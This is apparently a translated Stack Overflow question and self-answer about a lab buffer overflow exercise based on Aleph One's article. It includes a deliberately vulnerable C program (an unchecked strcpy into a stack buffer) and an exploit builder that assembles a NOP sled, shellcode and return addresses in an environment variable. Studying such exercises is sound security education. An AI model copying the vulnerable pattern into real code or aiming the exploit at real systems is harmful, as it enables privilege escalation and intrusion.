C缓冲区中的指令仅作为sudo执行

时间:2012-11-04 18:14:50

标签: c stack-overflow sudo shellcode stack-smash

我正在研究缓冲区溢出攻击,如Aleph One的文章Smashing the Stack for Fun and Profit中所述。

正如文章中提出的,我编写了一个程序(shellcode.c),它将恶意代码(shellcode)植入环境变量($ EGG)。之后,$ EGG作为参数传递给我希望攻击的程序(vulnerability.c),导致该程序中的缓冲区溢出并导致shellcode的执行。

这就是缓冲区的样子 -

[nnnnnnnnn为... NNNNNNSSSSSSS ... SSSSSSSRRRRR ... RRRRRR]

其中N是NOP指令(参见NOP sled),S是我的shellcode,R是一个地址(返回缓冲区的地址将导致指针从代码段跳转到上面的堆栈缓冲区中开始执行指令)。

当我作为普通用户运行shellcode.c和vulnerability.c的可执行文件时,我遇到以下问题 - 当指令指针被重定向到缓冲区并遇到指令时,会出现分段故障结果。 但是,在以sudo 执行程序时,缓冲区中的指令执行没有任何问题,缓冲区中的后续shellcode成功执行,从而启动根终端,从而完成漏洞利用。 任何人都可以解释为什么会发生这种情况吗?

我已禁用以下保护 - Stack Smashing Protection ASLR Linux的NX (执行禁用位)。

我正在使用gcc 4.4.3(目标:i486-linux-gnu)进行编译,并在运行内核2.6.32的Ubuntu 10.04(Lucid Lynx)上执行。

以下是我的两个程序:

vulnerable.c

int main(int argc, char** argv) {
char buffer[512];

if(argc>1)
    strcpy(buffer,argv[1]);

return (EXIT_SUCCESS);
}    

shellcode.c

int main(int argc,char** argv) {

char *buff, *ptr;
int *addr,retaddr;
int i;
int offset = DEFAULT_OFFSET;
int buffersize = DEFAULT_SIZE;

/* Set buffersize and predicted offset if arguments are supplied to the program
 */ 
if(argc>1)
    buffersize = atoi(argv[1]);
if(argc>2)
    offset = atoi(argv[2]);


if(!(buff=(char*)malloc(buffersize))) {
    printf("Can't allocate memory!");
    exit(1);
}

retaddr = getStackPointer() - offset;
printf("%d\n",strlen(shellcode));
printf("Using address: 0x%x\n",retaddr);

addr = (int *)buff;
for(i=0;i<buffersize;i+=4)
    *(addr++) = retaddr;

for(i=0;i<buffersize/2;i++)
    buff[i] = NOP;

ptr = buff + ((buffersize/2) - (strlen(shellcode)/2));
for(i=0;i<strlen(shellcode);i++)
    *(ptr++) = shellcode[i];

buff[buffersize -1] = '\0';

memcpy(buff,"EGG=",4);
putenv(buff);
system("/bin/bash");

 return (EXIT_SUCCESS);
}

1 个答案:

答案 0 :(得分:1)

我收到分段错误不是因为我不是root用户,而是因为我硬编码到缓冲区中的返回地址(RRRR ... RRR)超出了执行程序vulnerability.c的堆栈地址空间。我通过估计正确的返回地址来解决这个问题(通过命中和试验,如Aleph One的文章所述)。